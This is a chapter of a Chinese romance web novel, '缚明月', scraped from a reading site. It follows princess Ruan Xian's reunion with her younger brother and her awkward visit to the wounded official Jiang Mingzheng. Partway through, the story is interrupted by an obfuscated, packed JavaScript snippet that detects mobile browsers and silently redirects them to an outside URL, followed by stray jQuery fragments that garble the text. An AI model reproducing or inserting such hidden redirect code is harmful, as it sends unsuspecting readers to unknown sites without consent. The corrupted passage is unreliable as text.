123读书网 > 都市小说 > 缚明月 > 65. 何必如此
    雁北军在发军之始便分作三支,副将带领五千将士走明路吸引注意,关昱尧与三千先行军星夜兼程赶赴双陵城,余下兵马则走偏僻山路,暗中行军。


    万岐山地势险要,易守难攻,敌军容易埋伏其中,这一点是可以预见的,只是无人能想到,那支兵马竟以碾压之势奇袭,五千骁勇善战的兵马都毫无还手之力。


    正是收到万岐山的噩耗,关昱尧才比原定的计划要提前半日到达。


    二月初九,剩余的两万余人拥护着储君,先后抵达晏阳郡。


    “阿姐!”


    数日不见,阮彦的思念溢了满路,阮娴还在屋中用膳,未见其人,先闻其声。


    房门从外被人猛地推开,阮娴刚刚搁下汤匙,便被小小少年扑了满怀。


    “嘶……”


    阮娴因他的动作扯到伤口,不由倒吸一口凉气,吓得阮彦连忙松开手。


    “阿姐你怎么了?我撞疼你了吗?”


    “无事。”阮娴看着眼前这个一把鼻涕一把泪,早已顾不得什么矜持的孩子,心软得没了脾气。


    阮彦却不敢再放肆,小心翼翼地搬来凳子在她身旁坐下。


    “殿下!”


    外头又传来一声情深意切的呼唤,阮娴再度抬头瞧见了门边泪眼婆娑的流光。


    “你们一个两个做什么呢?”阮娴扶额失笑,“这才几日不见,不知情的人还以为我死过一场似的!”


    “呸呸呸,阿姐不许说这种不吉利的话!”阮彦急急找补。


    阮娴拍了拍他的脑袋,笑问道:“你们都可用过饭?若是不曾,我再让人添两副碗筷来。”


    流光碎步跑来,抹了把模糊的双眼,匆匆道:“奴婢来服侍殿下,您与小殿下用膳就好。”


    “兰桂姑姑又不在,出门在外客气什么?”阮娴拉着流光坐到另一边,“这些日子带着彦儿奔波,委实辛苦你了。”


    “不辛苦,都是奴婢应该做的。”被她一说,流光的眼眶又蓄起泪来。


    “好了好了,难得见面,别总是哭哭啼啼的,吃饭吃饭……”


    “都吃着呢?那我来得不巧了。”


    话音未落,门口第三次传来人声。


    “阿尧哥哥!”阮彦两眼放光。


    阮娴按下作势要起身的阮彦,朝门边的人招手:“来得正巧。多几双筷子不是多?没吃就过来坐。”


    关昱尧朗笑:“那我就恭敬不如从命了。”


    安静的屋子一转眼热闹起来,可直到碗筷都摆上桌面,门外也不再有人声。


    “阿姐,你在等人吗?怎么老是往外头看?”


    “……啊?没有。”阮娴不动声色收回目光,夹了一筷子菜放到他碗里,“趁热吃。”


    她期待什么呢。


    他怎么会来?


    自她醒来,他都没来见过她。


    她原是有些怨气的,可从关昱尧口中听到他伤重,需要安静疗养,昨日一直闭门不出,议事都是款冬代劳时,她才知错怪了他。


    她总是误解他。


    从不肯给他辩解的机会。


    虽然江明徵从来都不知情,可阮娴总觉得让他受了委屈。


    她似乎常常如此,对谁都宽容三分,偏偏对他一人苛刻,稍有疏漏,就要生出怨怼。


    哎……


    也不知此时此刻,他有没有好好吃饭?


    她决定晚些去看看他。


    阮彦一行人到达晏阳,休整半日,他们就该启程回皇都。


    他总不能赖着不走。


    他来不了,那她过去就好了。


    他们总是要见一面的,不然她放不下心。


    饭后,阮娴本想自行前去,正巧关昱尧也说有事要同江明徵商议,阮彦闻言,说什么也不愿被落下,于是阮娴原本打算只简单去瞧一眼的计划,瞬间变作浩浩荡荡叽叽喳喳的三人行。


    临近别院,阮娴晃了晃与阮彦交握的手,叮嘱道:“等会儿进了屋,彦儿就乖乖跟着阿姐,莫要胡乱跑动,莫要吵吵嚷嚷,江大人受伤了,需要安静休养,知道吗?”


    阮彦不满道:“阿姐,我才不是那种咋咋呼呼的人呢!”


    阮娴斜睨着他,噗嗤一笑:“可你也不是安安静静的人啊,你这小嘴一路上哪有停过?”


    从分别说到逃亡,从遇见雁北军说到重新见到她,他恨不得把这些天所有见闻都告诉她才好。


    “那、那只是对阿姐!”阮彦红了脸。


    “噢……那一口一个‘阿尧哥哥’算什么?”阮娴的目光越过他的脸,看向与他另一只手牵着的人。


    “阿尧哥哥和别人又不一样,我们早晚是一家人嘛。”


    “哈哈哈,他想说就由他嘛,江昭言也不是什么斤斤计较的人。”关昱尧无所谓地笑道。


    阮娴扬起嘴角看向他:“你再纵着他,与我唱反调试试?”


    “我错了。”关昱尧霎时收敛笑意。


    她冷哼一声:“我还没说你呢,你那大嗓门也给我收着点。”


    “我保证。”


    ……


    一扇薄门的格挡,其实挡不住什么动静。


    自他们靠近院落以来,每一句话都清楚落进江明徵的耳中。


    何必如此。


    他放下手中的信纸,眉眼低垂,不辨神色。


    她是来可怜他的吗?


    她愿意可怜,他也是欢喜的。


    可偏偏拖家带口地来,好似生怕他认不清自己是外人。


    但……这样也好。


    诚如阮彦所言,他们早晚是一家人,他早习惯晚习惯,总归都是要习惯的。


    何不止于开端?


    应当是开端吧。


    江明徵覆着胸口,轻轻感受那颗翕动的心脏,苦笑着自问自答。


    算了,是不是都无所谓。


    无论是细芽还是枝桠,摘掉就是了,又不是什么珍贵的东西,没必要计较太清楚。


    他要趁早看开,别让此等随随便便就泛滥成灾的轻贱之物困扰了她。


    -


    阮娴一行人靠近屋舍,正要让款冬传话,房门便被从内推开。


    “见过殿下,见过小殿下。”江明徵躬身一礼,温和恭谨。


    “怎么出来了?”阮娴想要伸手扶他,不想他却有意无意避开她的手,先一步直起身。


    她不太在意自己的动作落了空,不尴不尬地放下:“你负伤在身,不必多礼。”


    “谢殿下.体谅。”他噙着一抹浅淡疏离的笑,轻轻颔首。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065089|189850||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阮娴望着他的侧脸,原先那道血痕已经淡的看不见了。


    她心下稍安,关切道:“外头风大,有什么话进去说。”


    江明徵却错开她,迈出门槛:“诸位恕罪,因在下病体耽搁,昨日未能出面议事。事不宜迟,请诸位移步书房。”


    阮娴一愣,终于发现他的不对劲。


    望着他自顾自远去,她挪到关昱尧旁边,悄声问道:“他生气了?”


    关昱尧呆呆地眨眨眼:“啊?”


    “算了,跟你说不清。”阮娴见他一副缺心眼的模样,顿时丧失沟通欲,跟随江明徵离开。


    阮彦看着自己空落落的左手,恨铁不成钢地“啧”了一声,拽着关昱尧匆匆追上阮娴:“阿姐等等我!”


    ……


    阔别三日再度踏入书房,阮娴才知书房已格局大变。


    待客的桌椅都被推远,置于主位的桌案被搬到房屋正中央,桌面一扫而空,只铺了张巨大的舆图。


    阮娴原本只是打算来看望江明徵,军事上的内容她了解得甚少,但机会摆在眼前,她很乐意听一耳朵。


    一进书房,她的注意力瞬间被那副舆图吸引,自然而然凑到江明徵身边,好奇地打量起来。


    这幅图与她之前见过的普通地图不太一样,上面标了各种各样的记号和注释,打眼一瞧只觉一头雾水。


    “这是什么意思?”阮娴指着一个看不懂的符号,扭头看向江明徵。


    他正要作答,却被人不轻不重地推开。


    “这个是瞭望台,这个是营垒,这个垛口状标记是城墙,这个细红曲线是驿道……”阮彦状似无意地挤在两人之间,指着舆图自顾自介绍起来,说着说着,忽然又抬起头来,望向桌对岸的关昱尧,“阿尧哥哥,我说的对不对呀?”


    “完全正确。”关昱尧肯定地点头。


    “嘿嘿,阿姐我厉不厉害?”得到答复,阮彦立即冲阮娴讨要夸赞。


    “厉害。”阮娴捏了捏他的脸,宠溺笑道,“彦儿知道的真多,阿姐都自愧不如呢!”


    阮彦被夸得尾巴都要翘起来了,扒着阮娴的手臂晃悠:“这些夫子都教过,阿姐有什么不懂,都可以问我!”


    江明徵见状,默默退开一步,为他腾出位置。


    阮娴本也是没话找话,见他不言不语,也不欲多说,还是正事要紧:“好,这些日后我们再慢慢聊,今日先听江大人与阿尧哥哥他们说。”


    说者无意,听者有心。


    阮彦还是藏不住事的年纪,听着她的遣词,眼中闪过得意之色,立马满意笑开,手里晃得更起劲。


    ……还好这只手不是阮娴受伤的那半边,不然她指不定要如何难受。


    江明徵闻言,神色稍滞,暗自垂下眼眸,出神地凝着舆图,好半天才将思绪敛去。


    只有关昱尧浑无异样,只当阮娴只是站在阮彦的角度说话,这份单纯的心思,恰恰与她不谋而合。


    阮娴哪里知道,自己不过是无心之语,却在冥冥之中迎合了谁,又推远了谁。


    可惜她不会读心之术,让某两人有幸躲过一劫。


    她若是晓得,定然会翻个白眼,各赏一爆栗。


    一个个不务正业,净想些乱七八糟!